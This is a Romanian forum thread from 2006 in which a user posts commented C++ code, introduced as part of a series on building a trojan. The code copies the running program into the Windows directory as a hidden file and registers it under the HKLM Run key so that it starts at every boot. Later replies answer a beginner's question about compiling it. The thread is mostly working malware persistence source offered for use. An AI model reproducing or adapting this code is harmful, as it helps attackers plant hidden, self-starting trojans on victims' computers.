SlicK Posted December 12, 2006 Report Posted December 12, 2006 Cum sa facem ca trojanul nostru sa se instaleze in directorul windowsului si sa ruleze automat la startup.#include <windows.h>#include <stdio.h>bool Install(){ char FileName[MAX_PATH]; // pentru stocarea caii fisierului curent char VirName[100]; // pentru stocarea cai troianului HINSTANCE hInstance=GetModuleHandle(NULL); // handle-ul instantei curente GetModuleFileName(hInstance, FileName, MAX_PATH); // obtinem numele fisierului curent GetWindowsDirectory(VirName,100); //obtinem calea catre directorul windows (poate fi diferit de C:WINDOWS ) strcat(VirName,"\virus.exe"); // obtinem calea pe care o va avea troianul pe parcursul vietii sale (evident schimbati numele "virus.exe") char lszValue[255]; // valoarea date din stringul urmaind a fi creeat in registrii HKEY hKey; // cheia din registrii LONG status; // pentru detectarea erorilor DWORD dwType=REG_SZ; // tipul datelor stocate in stringul din registrii DWORD dwSize=sizeof(VirName); //marimea valorii stringului status=RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Run",0L,KEY_ALL_ACCESS,&hKey); //dechidem cheia din registrii if(status==ERROR_SUCCESS) { status=RegQueryValueEx(hKey,"Porneste Virusul",NULL,&dwType,(LPBYTE)&lszValue,&dwSize);// verificam daca exista deja un string cu acelasi nume if (status!=ERROR_SUCCESS) { if(CopyFile(FileName,VirName,FALSE)!=0) // copiem fisierul curent in directul windowsului cu numele specificat mai sus { SetFileAttributes(VirName,FILE_ATTRIBUTE_HIDDEN); // facem fisierul ascuns status=RegSetValueEx(hKey,"Porneste Virusul",0,REG_SZ,(const unsigned char*)VirName,dwSize); // creem un string cu valoarea numelui troianul if(status==ERROR_SUCCESS) { RegCloseKey(hKey); // inchidem cheia return true; // totul e ok }// else: nu am putut scrie in registrii }// else: troianul se afla deja in windows,mai exista un fisier cu acelasi nume sau nu avem permisiune de scriere }// else: exista deja o valoare cu acelasi nume RegCloseKey(hKey); // inchidem cheia }//else: nu am putut deschide cheia din registrii return false; //ceva a mers prost sau troianul e deja instalat}int main(){ if(Install()==true) // daca instalarea a reusit { exit(0); // iesim si asteptam restartarea calculatorului, fisierul curent nu mai este folosit la nimic } else // daca nu a reusit (probabil troianul este deja instalat) { // continuam programul } return 0;}Sper sa fie usor de inteles pentru ca arata cam aiurea la 'Previzualizeaza" To be continued... Quote
SlicK Posted December 13, 2006 Author Report Posted December 13, 2006 Da. "VirName" e o variabila care contine calea completa a troianului in directorul windows. Quote
Crhistmas Posted December 13, 2006 Report Posted December 13, 2006 Dar daca il copiez in notepad si ii dau save exe. si codu il fac notepad are ceva trebuie neaparat C++ ? Quote
Dr4k3 Posted December 19, 2006 Report Posted December 19, 2006 adik ai nevoie de c++ ca sa il compilezi... Quote